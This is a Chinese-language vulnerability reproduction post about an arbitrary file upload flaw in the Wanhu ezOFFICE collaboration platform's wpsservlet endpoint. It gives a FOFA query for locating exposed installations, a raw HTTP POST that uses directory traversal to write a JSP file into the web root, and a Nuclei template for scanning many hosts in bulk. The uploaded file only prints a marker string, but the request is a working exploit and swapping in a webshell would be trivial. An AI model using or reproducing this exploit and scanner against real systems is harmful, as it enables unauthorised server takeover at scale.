漏洞复现--万户ezoffice wpsservlet任意文件上传

免责声明:

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

一:漏洞描述

万户ezOFFICE协同管理平台是一个综合信息基础应用平台。此系统wpsservlet存在任意文件上传。攻击者可上传恶意脚本文件获取服务器权限。

二:漏洞影响版本

万户ezoffice

三:网络空间测绘查询

fofa:
app="万户网络-ezOFFICE"
image.png

四:漏洞复现

image.png
POC:

POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=check&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=55aeb894de1521afe560c924fad7c6fb
Content-Length: 200

--55aeb894de1521afe560c924fad7c6fb
Content-Disposition: form-data; name="NewFile"; filename="check.jsp"

<% out.print("This website has a vulnerability!!!");%>
--55aeb894de1521afe560c924fad7c6fb--

image.png
访问/defaultroot/platform/portal/layout/check.jsp
image.png

五:批量检测

id: wanhu-ezoffice-wpsservlet-upload

info:
  name: wanhu-ezoffice-wpsservlet-upload
  author: 芝士土拨鼠
  severity: high
  description: 万户ezOFFICE协同管理平台是一个综合信息基础应用平台。此系统wpsservlet存在任意文件上传。攻击者可上传恶意脚本文件获取服务器权限。

requests:
  - raw:
      - |-
        POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=check&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
        Host: {
  {Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
        Accept-Encoding: gzip, deflate
        DNT: 1
        Connection: close
        Upgrade-Insecure-Requests: 1
        Content-Type: multipart/form-data; boundary=55aeb894de1521afe560c924fad7c6fb
        Content-Length: 200

        --55aeb894de1521afe560c924fad7c6fb
        Content-Disposition: form-data; name="NewFile"; filename="check.jsp"

        <% out.print("This website has a vulnerability!!!");%>
        --55aeb894de1521afe560c924fad7c6fb--

      - |
        GET /defaultroot/platform/portal/layout/check.jsp HTTP/1.1
        Host: {
  {Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
        Accept-Encoding: gzip
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'vulnerability'
      - type: status
        status:
          - 200

image.png

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2023-12-05 23:30:06       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-05 23:30:06       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-05 23:30:06       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-05 23:30:06       18 阅读

热门阅读

  1. Git 合并冲突解决步骤

    2023-12-05 23:30:06       38 阅读
  2. 练 习

    2023-12-05 23:30:06       43 阅读
  3. docker中安装mysql,远程连接

    2023-12-05 23:30:06       38 阅读
  4. 迭代器模式-C++实现

    2023-12-05 23:30:06       36 阅读
  5. Linux图片处理命令详解

    2023-12-05 23:30:06       35 阅读
  6. 在Docker上部署Springboot项目

    2023-12-05 23:30:06       43 阅读
  7. RepViT:从ViT视角重新审视移动CNN

    2023-12-05 23:30:06       32 阅读
  8. RepViT: 从ViT视角重新审视移动CNN

    2023-12-05 23:30:06       42 阅读
  9. 在oracle的scn详细说明

    2023-12-05 23:30:06       36 阅读
  10. Go map类型

    2023-12-05 23:30:06       37 阅读
  11. error转string

    2023-12-05 23:30:06       31 阅读